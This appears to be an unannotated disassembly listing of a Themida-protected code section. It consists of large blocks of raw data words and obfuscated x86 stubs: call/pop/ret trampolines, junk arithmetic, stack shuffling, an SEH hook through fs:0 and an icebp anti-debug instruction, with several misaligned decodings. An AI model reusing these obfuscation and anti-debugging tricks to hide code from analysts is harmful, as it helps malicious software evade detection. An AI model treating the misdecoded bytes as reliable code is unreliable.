dd 0AB6F729Bh, 0CDBD8949h, 5F06A815h, 0A227B5FFh, 95FF06ABh
dd 6A82199h, 8BF9B70Fh, 0ABA21BB5h, 41858B06h, 6A06A80Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0DF8EC356h, 53815C9Ah, 1EF19D8Bh, 895F06A8h
dd 0A819B595h, 0C4868906h, 0F000000h, 0B82h, 5840F00h
dd 0BB000000h, 43927D4Bh, 5B9958Bh, 6A06A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BBBEC3h
dd 5CFEDCB7h, 3810F53h, 66000000h, 835BF98Bh, 6A04C2h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 89208FC3h, 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 456347C3h, 0D8D8960h, 0E806A82Ah
dd 13h, 0A1BAD141h, 0FCC62632h, 0DFAB1533h, 71FDA791h
dd 58CF8BA0h, 0CE858D61h, 6A06ABB7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BA89C355h
dd 86893C29h, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 44C35343h
dd 3F35FB5Ah, 0BB661539h, 9D8B850Bh, 6A819C5h, 8509006Ah
dd 6A81F5Dh, 0A227B5FFh, 8B6606ABh, 1D95FFFEh, 6A06A81Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0CF1BC357h, 5096A0E7h, 0FE9h, 0AAE4500h
dd 35B5472Ch, 3E269AC9h, 7F8229B8h, 27B5FF96h, 6606ABA2h
dd 95FFFE8Bh, 6A82A69h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 55C35040h, 3DBD83C0h, 6A82Eh, 33840Fh
dd 81660000h, 8AB956F7h, 77BB50DCh, 89199CBFh, 6A2434h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0AC80E1C3h, 0DAA5C844h, 27B5FFA1h, 6A06ABA2h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 3941C357h, 81FEB4F7h, 0B34947EFh, 8595FF39h, 6A06A831h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 69F1C352h, 9E991h, 56E30000h, 0DA19897Ah
dd 568B6E6Dh, 27B5FF5Fh, 8B06ABA2h, 0A819B9BDh, 5595FF06h
dd 6606A80Fh, 0BD83D88Bh, 6A8077Dh, 36840F02h, 9000000h
dd 0A82C7D85h, 0B9BD8906h, 8B06A80Fh, 0A80D1985h, 0C606h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C7C35141h
dd 8AD66222h, 0C185C7B3h, 6A80Dh, 0E9000000h, 0FFFFF40Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AFC35646h
dd 382C5ACh, 0A0043D6Dh, 6AC18B24h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8DBFC351h
dd 0A8338585h, 0BF0F6006h, 0F9858BC1h, 6106A806h, 0DE990h
dd 6860000h, 492C3486h, 9980A12h, 50C9DABDh, 69BD8990h
dd 6A06A80Ah, 0A6B35700h, 6A006A5Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 9A6AC350h
dd 2CD6ECF9h, 7169858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 83F9E2C3h, 0F98A05C0h
dd 0D2BF6650h, 2404898Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 56C35747h, 8D9D8B54h, 6A06A80Ch, 5BF85300h
dd 0F2D28060h, 6A617AB0h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 8ED747EEh
dd 0EB812738h, 1C674198h, 254195FFh, 6A06A8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C100D5C3h
dd 0D51E7EECh, 0B2E42EBFh, 7F8D8D3Ah, 6606AB8Ch, 0D1FFDF8Bh
dd 32419589h, 0BD8306A8h, 6A8339Dh, 8F850F01h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0EAB5C356h, 0BFB9CBBh, 0A82DA19Dh, 399D8906h
dd 8906A816h, 0A81489B5h, 6A026A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 54BC355h
dd 89202C3Dh, 0A831D18Dh, 0BB669006h, 0E850F8B8h, 0Fh
dd 0D34B4CBAh, 661D5B34h, 9D7D0D46h, 0B37FD4B9h, 52905F25h
dd 1425BD03h, 0FF5F06A8h, 0A81E1D95h, 0FFBF0F06h, 0DED2EF81h
dd 93E94634h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AC7173h
push 0
push edi
call sub_590B92
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590B92 proc near ; CODE XREF: Themida_:00590B8Ap
; Themida_:00590BE0j
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_590B92 endp
; ---------------------------------------------------------------------------
les edi, ds:0B13CBE55h
ficom dword ptr ds:8166AC4Ch
retf
; ---------------------------------------------------------------------------
or bl, [eax]
add [ebp+6A81019h], ecx
add edi, [ebp+6A82665h]
mov ebx, ecx
lea eax, [ebp+6AB7E2Eh]
push 0
push ecx
call sub_590BD0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590BD0 proc near ; CODE XREF: Themida_:00590BC8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_590BD0 endp
; ---------------------------------------------------------------------------
jns short sub_590B92
stc
cli
sub [ebp+6A817D5h], ecx
mov ebx, [ebp+6A826CDh]
push eax
push esi
jg loc_590BFA
mov bh, 65h
loc_590BFA: ; CODE XREF: Themida_:00590BF2j
pop ebx
mov [esp], eax
push 0
push eax
call sub_590C09
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590C09 proc near ; CODE XREF: Themida_:00590C01p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_590C09 endp
; ---------------------------------------------------------------------------
db 70h, 82h, 66h
; ---------------------------------------------------------------------------
mov ebx, esi
push large dword ptr fs:0
jnp $+6
mov large fs:0, esp
push 0
push esi
call sub_590C3D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590C3D proc near ; CODE XREF: Themida_:00590C35p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_590C3D endp
; ---------------------------------------------------------------------------
db 0ECh, 0FFh, 85h
; ---------------------------------------------------------------------------
icebp
xor ebp, [eax+5BD8B06h]
pop es
test al, 6
push 0FFFFFFFFh
sub [ebp+6A833C9h], ebx
push dword ptr [ebp+6A814A1h]
mov bl, 8Eh
call dword ptr [ebp+6A82A7Dh]
jmp loc_590DB8
; ---------------------------------------------------------------------------
db 8Bh, 0BDh, 79h
dd 0B006A82Dh, 70E6F900h, 0CE9h, 0F8078800h, 6EC51083h
dd 98D91AF3h, 6800F6Eh, 8B000000h, 0A80C25BDh, 8171E406h
dd 0F84471E7h, 0F613C16h, 10B83h, 6921BB00h, 0B60F5DD1h
dd 1D9D8BC8h, 0BA06A802h, 6, 2DE5BD29h, 0C18B06A8h, 0C1FE8B66h
dd 0BD2B04E8h, 6A802C9h, 1BA9B589h, 0F76606A8h, 29BD29E2h
dd 2B06A826h, 6850FC8h, 81000000h, 0F04442DBh, 0F8D18B4Fh
dd 13E956h, 6BB20000h, 0AFE01D05h, 261C9981h, 0CD3E3598h
dd 0CC1014AFh, 9E95B6Bh, 80000000h, 9D89F7DBh, 6A81779h
dd 21858Bh, 0DF8106A8h, 15C51880h, 8907C083h, 0A81E819Dh
dd 0C08306h, 9843D381h, 0D03B482Ch, 12830Fh, 0BD2B0000h
dd 6A833C1h, 6BE9h, 8589F900h, 6A81F1Dh, 324D8D8Bh, 8B6606A8h
dd 1E183FEh, 52840Fh, 0F600000h, 68Eh, 8D8D8B00h, 0E906A80Ch
dd 9, 5C8A69A8h, 0CD60B411h, 0A58361B1h, 6A8324Dh, 0E9CBBFFEh
dd 95897804h, 6A80021h, 11E8h, 8035D200h, 16D6C6B0h, 96C2F928h
dd 0C50F8F42h, 8531CF83h, 6A800DDh, 0E9DF8B5Bh, 0
; ---------------------------------------------------------------------------
loc_590DB8: ; CODE XREF: Themida_:00590C70j
lea esi, [ebp+6ABE705h]
push 0
push edx
call sub_590DC9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590DC9 proc near ; CODE XREF: Themida_:00590DC1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_590DC9 endp
; ---------------------------------------------------------------------------
imul ebp, [ebx], 97CCDC2Dh
push esp
mov bl, 23h
clc
add [ebp+6A80B39h], ebx
push 0
mov bx, cx
call dword ptr [ebp+6A81B31h]
mov ecx, 799h
sub edi, 27129C30h
mov [ebp+6A834A5h], ebx
and ecx, 0FFFFFFFCh
push 0
push esi
call sub_590E13
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590E13 proc near ; CODE XREF: Themida_:00590E0Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_590E13 endp
; ---------------------------------------------------------------------------
db 0DEh
; ---------------------------------------------------------------------------
ja loc_590E30
mov [ebp+6A816ADh], esi
loc_590E30: ; CODE XREF: Themida_:00590E24j
cld
mov [ebp+6A82C71h], edi
sub eax, eax
push 0
push ebx
call sub_590E44
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590E44 proc near ; CODE XREF: Themida_:00590E3Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_590E44 endp
; ---------------------------------------------------------------------------
dd 0C3A37636h, 0CE8h, 9674C700h, 2DDEE3FCh, 0AFBDBC51h
dd 11E984h, 45600000h, 90A78ECCh, 87386E48h, 0A7FF3D96h
dd 5B0DFDCBh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0FBAF7AC3h, 0B2687808h, 33ADF415h
dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0CFFDEDC3h, 6AFE8B66h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0E9BFC356h, 0B6BBF471h, 880Dh, 7CBF6600h
dd 0B9958BC8h, 6A06A805h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 89C1C350h, 0A80AC185h
dd 698D8B06h, 6A06A814h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0E5F0C355h, 0EF71325Ah
dd 0E98B8321h, 14h, 0CF081855h, 5C6FEDEAh, 18647844h, 81C409E1h
dd 0FE3BFBA0h, 1258D89h, 8B5006A8h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0FFC35343h, 1D330446h, 0C91BD83h, 0F0006A8h
dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0F4E4E3Ah, 389h, 0F9B70F00h, 5E8h
dd 4E7E9C00h, 8166644Ah, 5BC5E7CFh, 0B8h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 8CD8AFC1h, 8DD9B70Fh, 0A84FAF8Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0E1FF3FFEh
dd 2C99BD8Bh, 0BD8306A8h, 6A80BBDh, 0F3840F00h, 89000004h
dd 0A82C519Dh, 0A7BB6606h, 0BDBD8343h, 106A80Bh, 4F7840Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 7E39C6C3h, 6DB589C1h, 0E906A81Bh, 0Dh, 0E3BE3229h
dd 1071CDA0h, 6DCC12E3h, 0BDBD8380h, 306A80Bh, 47D860Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0A26631C3h, 6646C19Ah, 9277779h, 0A82E7D9Dh
dd 299D8B06h, 6006A831h, 66FFB70Fh, 8C66DF8Bh, 56006AD9h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 9E9CFh, 0B8CB0000h, 0FE144D2Ch, 8033C244h, 0C90A04E1h
dd 1A5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 810FD4C3h, 5, 2B4379BFh, 0E1858B4Eh
dd 6A06A80Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 7A98C352h, 0DE9677Bh, 52000000h
dd 2EA6FC2Bh, 8B919F6h, 459E10D6h, 1D5D8533h, 6A06A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 50B4C1C3h, 6880Fh, 8D890000h, 6A81001h, 11E96050h, 0B5000000h
dd 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh, 830F60h
dd 51000000h, 8961615Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 5C4BC3h, 18F744Eh, 0F381662Fh
dd 0BD8B9ADAh, 6A81FEDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 1DE0BBC3h, 62F880ADh
dd 0EF427868h, 0F9BF66BCh, 24048125h, 432FC187h, 0DD9D8Bh
dd 95FF06A8h, 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 77C35242h, 932ECDB7h, 0B557BBF1h, 8589552Ch
dd 6ABA227h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 2C35242h, 48D0F51h, 66000000h, 89552FBBh, 0A82E8D8Dh
dd 1F9E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 3B8C8C3h, 0F3106163h, 8BDCF414h
dd 0ABA21F85h, 0CE906h, 88660000h, 6B50588Ch, 0E03C7FE3h
dd 0C73D94h, 18h, 2D819D8Bh, 7E806A8h, 92000000h, 46F76BB4h
dd 0F380C1CCh, 0B58B5FF9h, 6ABA223h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 8DC35141h, 0B796B140h, 711681A2h
dd 2B7D858Bh, 0DF8106A8h, 3AFC9241h, 0AE80689h, 92000000h
dd 0AB3D2A4Dh, 56CA8A47h, 13E993h, 30000000h, 76D30D94h
dd 0CB102966h, 0F0CDB944h, 0A73728F4h, 8E85BF3h, 5F000000h
dd 0C3AAAA7Bh, 81133EA3h, 23C16EE7h, 858B5B37h, 6A80BE1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 64C35747h
dd 89A4E8C1h, 0B5310446h, 6A80589h, 0D88B6696h, 96FE8B50h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h
dd 7216D044h, 538E009Ch, 0AE951B8h, 84000000h, 3D1C7EFAh
dd 4FE666BDh, 8E85FCAh, 2B000000h, 0E03B352Fh, 35D7E9Dh
dd 0A8263DBDh, 0B5FF5B06h, 6ABA21Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0BFC35747h, 8FD489FFh, 0F068461h
dd 5168F9BFh, 664D0808h, 81CF13BBh, 0BAE2434h, 880F4D17h
dd 6, 0ADD8589h, 858D06A8h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0D8C35747h, 0E0E4DE88h, 9E9ECh
dd 0ED470000h, 1345414Ah, 90F6EE80h, 10E850h, 53E50000h
dd 9C9847D9h, 3031826h, 54B0DEFCh, 0F51CDAAh, 83h, 905F5B00h
dd 0F7CB8166h, 4195FFD0h, 6606A807h, 61D496BBh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D9C35646h, 816637FEh
dd 0C7BCA6DFh, 0A80BBD85h, 306h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3EB7D256h
dd 5B9AFC5Fh, 11E96B0Bh, 7F000000h, 920A2C9Fh, 2BF8DFFCh
dd 0C0B794E2h, 44B7788Dh, 0A227BD83h, 0F0006ABh, 1E84h
dd 0F1BD8B00h, 0E906A824h, 2Eh, 0D8B0Fh, 8E90000h, 6D000000h
dd 0A7212B4Dh, 50D76D4Dh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 639528C3h, 8D313F53h
dd 6A80645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 2BC35040h, 899F7C93h, 0A8093D9Dh, 35B5306h, 0A81B45BDh
dd 0BDBD8306h, 306A80Bh, 3ED850Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 5756A5C3h
dd 0E85B5BF9h, 0Fh, 0C3DEA1AEh, 702A0EF7h, 2CF7A1B9h, 8949C922h
dd 0A810118Dh, 0BD835B06h, 6ABA227h, 0A4840F00h, 6A000003h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 89ECC357h, 8BE37E4Bh, 0A821D59Dh, 27B5FF06h
dd 6006ABA2h, 34A5BD89h, 0B96606A8h, 0FF61E5D0h, 0A815F995h
dd 830F6006h, 6, 0A273C181h, 0B58B10BEh, 6A83181h, 1BB58B61h
dd 0F906ABA2h, 98B0Fh, 66600000h, 9334D381h, 0C7616160h
dd 1000106h, 5099B700h, 80BF6657h, 34895FF0h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 318531C8h, 0FF06A826h, 0ABA227B5h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 8152ECF5h, 8D74D8CBh, 9995FF6Ch, 6606A821h, 8B874DBFh
dd 0ABA21BB5h, 0B1BD8B06h, 8B06A807h, 0A80E4185h, 0A1B58906h
dd 8906A825h, 0C486h, 0F99D8900h, 8B06A82Dh, 0A805B995h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 8806A096h, 0B3DFBD2Ch, 0C283F95Ch, 4020BB04h
dd 50890FC2h, 0F5BD8920h, 8D06A819h, 0ABB7CE85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0C25AD506h, 8DE84F9h, 0CF81E445h, 21386902h, 0B88689h
dd 8B660000h, 13E9DFh, 13220000h, 2C0B5EF7h, 555B6CD6h
dd 24C7178Ch, 0C833C131h, 6A006A4Ah, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3875C351h
dd 2CDF90F4h, 0BD8B0A4Ah, 6A82CE9h, 0A227B5FFh, 95FF06ABh
dd 6A81E1Dh, 0C3816650h, 505F2A34h, 310F5250h, 5AFA8B66h
dd 24348958h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 2FC35141h, 0AF4E5D58h, 16577D4Fh, 0B52C381h, 0B5FF2B73h
dd 6ABA227h, 95FFEFB7h, 6A82A69h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 97C35545h, 0B9CC1ED7h, 3BAEA485h
dd 9E863h, 0C6E40000h, 7DD0B112h, 8A43E6E2h, 0BD835FDEh
dd 6A82E3Dh, 51840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E9B6C355h
dd 0A5E073CAh, 8B5057A2h, 243489D9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0E0C35242h, 0EFC72824h, 8D897BA7h
dd 6A8297Dh, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0FFF599C3h, 0A8318595h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 139BC6Dh, 0A8156595h, 27B5FF06h, 0F506ABA2h
dd 0F5595FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0F96DA7C3h, 81344C1Dh, 0DF02DFD7h
dd 7DBD8370h, 206A807h, 6D840Fh, 830F0000h, 0Bh, 0FBB70F60h
dd 10E99D29h, 606106A8h, 8B61FAB2h, 0A80D1985h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0B99E9C70h, 27491B97h, 68D0Fh, 0B5290000h, 6A8097Dh
dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 9A99C357h, 0C7DF8B66h, 0A80DC185h
dd 6, 6D858900h, 0E906A802h, 0FFFFF29Ah, 0C0D8529h, 0E86006A8h
dd 0Ch, 1CA08C70h, 0A9B294BFh, 467967B5h, 9119501h, 665F06A8h
dd 61F151BBh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0F7E3A3C3h, 3AAEF52Eh, 1AC5BD8Bh
dd 0EE906A8h, 17000000h, 69D26Ah, 2 dup(0)
dd 592E900h, 43E60000h, 7E13BC0Ah, 2444EF3Bh, 0D876D96Dh
dd 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h, 40C68FADh
dd 0B1F5BCDFh, 95953735h, 6FB60457h, 5CFF0229h, 76178815h
dd 0E6DF92B3h, 0CB30BAA0h, 91498B3Fh, 0BCDF40E8h, 54F7A8F5h
dd 6606E91Dh, 0FA9822Fh, 2B6E039Ch, 0F5BE2F86h, 0BFFB0DABh
dd 85AF585Bh, 82A10EAAh, 0B0D47FCBh, 6202ADF9h, 7758862Bh
dd 7109DD4h, 216C0E91h, 0CF507DFCh, 59EDA4C8h, 0E81E57F6h
dd 5C003842h, 69C2AF58h, 9B9A5CCFh, 0E1AF585Ch, 3D29298Ah
dd 0D812DF53h, 5Ch, 155CFF63h, 7C185288h, 0B9F09361h, 0F6AB2374h
dd 0D5138543h, 0AF58A8D3h, 0BFE0C339h, 3C7CADF2h, 0E0DCDE47h
dd 2F12DF04h, 42EFA2C4h, 10DCF69h, 16000000h, 733A59BAh
dd 90D57A25h, 0B8FD9213h, 4984AA7Bh, 0ED3E632Ah, 57C4AFF4h
dd 0EFAAC7CEh, 9455F85Bh, 2C4EBFF2h, 15328861h, 0F7135EFFh
dd 0F2266B0Ch, 0A6E39011h, 941DB679h, 65A1EC8Dh, 4DD29BBAh
dd 0E6886B91h, 0ED1506ABh, 0AF57D6ADh, 2B4BBC97h, 0CB6D3266h
dd 0E3841D82h, 95C901AEh, 0D3B8C53Fh, 0D48E647h, 87596A0h
dd 0CCEC2DE5h, 0C847E845h, 7D11F268h, 0A9C9A9D9h, 0E6DF0140h
dd 0BA60B9h, 0AF57EC08h, 6CC751FAh, 0C12BB7C3h, 0A25212DFh
dd 0F5000000h, 0FB9B5EFFh, 0CE531A3Eh, 6EBFE4DDh, 0CF6E5175h
dd 4D266F0Eh, 8261B7E0h, 49830721h, 0BDFED580h, 76B25C25h
dd 4CAF58C8h, 0A982C76Bh, 2B8073B0h, 62E2838Ah, 7ACE181h
dd 0C7ACEC16h, 0BD96AF58h, 0BCDD46C4h, 5FF3ACF1h, 660C951Ah
dd 325FE23h, 0F229E54Ah, 0DDDD6F31h, 0A7AF58C7h, 0A60D938Ch
dd 25F1FDFDh, 591412DFh, 2F000000h, 0F7135EFFh, 8AAA670Ch
dd 544D5EC3h, 9EBE67C4h, 0CC364AD7h, 0D72464A6h, 351EAF57h
dd 0A0A708E3h, 51143AFFh, 7F3253CCh, 0F600F932h, 0D176EB08h
dd 33776088h, 3559BA14h, 0DA773870h, 0EBD4129Fh, 8B9C0148h
dd 0D6DCDB2Dh, 492EAF57h, 0D6FEEAE8h, 11912DFh, 22000000h
dd 0E06F30BAh, 9B01FCEFh, 0BFF6921Dh, 0DB92B172h, 0EBAEC42Fh
dd 0B21BDE4Dh, 74EEAF1h, 2F943883h, 3D8071FBh, 0BC0DE2FEh
dd 57E00E0Ah, 625BF4AFh, 3F9A2C36h, 5B5FFEDh, 791C852Ah
dd 0ED4F4BFDh, 1A35B5FFh, 791A8521h, 0ED4B4FF9h, 1E39B5FFh
dd 9AFF825h, 347D2083h, 0ED296FEFh, 0DE7AB5FFh, 0F8990A97h
dd 535868B5h, 0A60D43D2h, 1E57F6FDh, 9AA26EE8h, 0ACEB0DD0h
dd 7E1D860Ch, 1A39EA37h, 8C3EB6DBh, 0B600028Ch, 0BFE4DD76h
dd 0A40944E6h, 7CA19A73h, 888F10BDh, 0BE1EACE5h, 1477FDC2h
dd 65A5E70Dh, 57B6000Eh, 0D6423514h, 0CA6565C3h, 174AC6Eh
dd 4DB60000h, 0EC37612Ch, 0D80EB5E7h, 0D71008B2h, 94F2AF57h
dd 57D73672h, 4A230CAFh, 7FC204EEh, 45B60006h, 918AC362h
dd 0A1E48A75h, 680B9477h, 0FD7FE521h, 0EB55D025h, 2D6002C7h
dd 7ABE9780h, 2BDF96B5h, 253F7B8Dh, 2A05B600h, 254E4AFCh
dd 1B34B600h, 0D6752E9Dh, 0BBCD6B9Fh, 0B600257Fh, 24E32761h
dd 76A1B600h, 0EE5DDB74h, 1A21822Bh, 6E94327Bh, 24DCDCh
dd 2B8DA6B6h, 9819F5A1h, 6DFC1477h, 86000000h, 0EA377E1Dh
dd 0E73C67B1h, 0ADDF0BB6h, 2F57D74Dh, 0C683B013h, 670BAC52h
dd 0B3ACFD22h, 85BFC517h, 97A108BFh, 3244A201h, 844A320Ch
dd 0B0F99B98h, 0D7413A73h, 58551911h, 7F209F2Fh, 2D95CF60h
dd 61262D50h, 9194E154h, 78517EC2h, 342D6407h, 6F147496h
dd 88EEAF58h, 586F3A7Eh, 362F08AFh, 886FF0h, 288B0000h
dd 0C6ED4B06h, 3A0D30BAh, 165EFF4Dh, 0D3453E77h, 0AF5BE054h
dd 0B3FA9E01h, 6DFB3D6Eh, 0B600C192h, 0B8F00A70h, 8AB600C0h
dd 0FF6BC8A1h, 57F3277Dh, 81179288h, 0F0367F1Eh, 38652C4Fh
dd 5BF53Eh, 0C96A41B6h, 5CEAA3C2h, 0D4F249EBh, 6F2645AEh
dd 0D778E9C2h, 0D2C81E9Ah, 0B0BCACDBh, 0EA891A87h, 0AFD907A3h
dd 0BCACDC6Bh, 0C9BAFE59h, 52F3DC06h, 8122991Fh, 5D893262h
dd 0E3A6CC37h, 5C79B3B5h, 0E04BC359h, 0B5E77D5Ah, 6CAED80Eh
dd 56B60457h, 4CEFB0FDh, 785B8105h, 5169BD6h, 20690C93h
dd 47067B83h, 0F19D2583h, 96B66FB4h, 0B53E52DFh, 5DCE6DECh
dd 0E7AECDD4h, 145D00A3h, 3D78168Fh, 0DB4471F0h, 0C2F8B1D4h
dd 0AA0E47E1h, 95DC7F20h, 0DA46E771h, 0C0AC3134h, 80AFB68h
dd 2D000000h, 84A90AB0h, 0FF4C57C1h, 138C1158h, 2BF43970h
dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
dd 0BF60CD84h, 0FA4AD792h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
mov eax, 0F0B1009h
push ebp
mov ebp, 70F842A3h
sub ebp, 33B409DEh
not ebp
shr ebp, 3
xor ebp, 4991541Eh
add eax, ebp
pop ebp
shl eax, 6
xor eax, 32E3C099h
push 706h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push eax
add dword ptr [esp], 3FBA342Ah
pop dword ptr [edx+8]
push ebp
mov ebp, 3FBA342Ah
sub [edx+8], ebp
pop ebp
mov edx, [esp]
push edi
mov edi, esp
